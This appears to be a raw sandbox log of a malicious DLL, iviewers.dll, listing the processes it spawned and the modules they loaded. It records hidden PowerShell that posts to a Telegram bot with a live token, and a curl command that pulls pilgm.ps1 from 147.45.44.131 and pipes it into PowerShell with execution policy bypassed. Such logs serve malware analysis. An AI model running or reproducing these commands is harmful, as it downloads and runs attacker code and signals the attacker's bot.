Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.cmdline"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF461.tmp" "c:\Users\user\AppData\Local\Temp\wzlesmvi\CSC11B817DA9D55460CBF45133E7BAA649F.TMP"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF463.tmp" "c:\Users\user\AppData\Local\Temp\1yj35v5c\CSC1D664DFBC1CF4D3B97F036955FDEE5EE.TMP"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF462.tmp" "c:\Users\user\AppData\Local\Temp\xyq5akbp\CSC3C74FAAA7254A90B38FFB13CA21DCB4.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.cmdline"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES374.tmp" "c:\Users\user\AppData\Local\Temp\3vvszjlk\CSC1C049BEBEBAF4B45B9D79F1CA1976831.TMP"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe regsvr32.exe /s C:\Users\user\Desktop\iviewers.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\iviewers.dll,DllRegisterServer	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\iviewers.dll",#1	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1 \| powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "& {Invoke-RestMethod -Uri 'https://api.telegram.org/bot7453569667:AAEXd9axbZZCeE5q99NDzg6KMWdoKbKsvlU/sendMessage?chat_id=7654016235&text=FileStarted!' -Method Post}"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\xyq5akbp\xyq5akbp.cmdline"	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\1yj35v5c\1yj35v5c.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\wzlesmvi\wzlesmvi.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF462.tmp" "c:\Users\user\AppData\Local\Temp\xyq5akbp\CSC3C74FAAA7254A90B38FFB13CA21DCB4.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF463.tmp" "c:\Users\user\AppData\Local\Temp\1yj35v5c\CSC1D664DFBC1CF4D3B97F036955FDEE5EE.TMP"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF461.tmp" "c:\Users\user\AppData\Local\Temp\wzlesmvi\CSC11B817DA9D55460CBF45133E7BAA649F.TMP"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /c curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command -
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\curl.exe curl -s -H "X-Special-Header: qInx8F3tuJDHXgOEfPJjbaipYaSE1mobJ2YRyo2rjNgnVDhJvevN8R2ku8oPCBonhmpzFb2GYqPiLhJq" http://147.45.44.131/infopage/pilgm.ps1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\3vvszjlk\3vvszjlk.cmdline"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES374.tmp" "c:\Users\user\AppData\Local\Temp\3vvszjlk\CSC1C049BEBEBAF4B45B9D79F1CA1976831.TMP"

Source: C:\Windows\System32\loaddll32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
